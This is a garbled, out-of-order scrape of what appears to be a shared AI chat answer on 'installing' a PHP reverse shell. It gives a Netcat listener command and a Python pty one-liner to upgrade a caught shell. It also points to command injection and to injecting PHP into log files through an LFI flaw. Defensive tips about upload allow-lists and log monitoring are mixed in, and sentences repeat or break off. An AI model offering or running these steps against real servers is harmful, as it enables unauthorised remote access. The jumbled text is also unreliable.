Monitor system logs for unusual outbound network activity or unexpected child processes spawned by the web server.
If you are interested in exploring other aspects of web security, See a comparison of different types of web shells?
For immediate execution via command injection or a short snippet, you can use a one-liner PHP reverse shell: reverse shell php install
: Never allow users to upload .php files. Use "allow-lists" for safe file types like .jpg or .pdf .
This public link is valid for 7 days and shares a thread, including any personal information you added. This link or copies made by others cannot be deleted. If you share with third parties, their policies apply. Can’t copy the link right now. Try again later. Monitor system logs for unusual outbound network activity
When the script executes, your Netcat listener will capture the connection:
Before you execute a PHP script, you need a way to catch the incoming connection. The most common tool for this is . Open your terminal and run: nc -lvnp 4444 Use code with caution. -l : Listen mode. -v : Verbose output. -n : Do not resolve DNS. -p 4444 : The port number you want to use. How to "Install" a PHP Reverse Shell Use "allow-lists" for safe file types like
To upgrade this to a fully functional TTY shell, follow these steps immediately after catching the shell: python3 -c 'import pty; pty.spawn("/bin/bash")' Use code with caution.
If you've discovered an LFI vulnerability but cannot upload files, you can still execute a PHP reverse shell. With write permissions, you can inject PHP code into log files: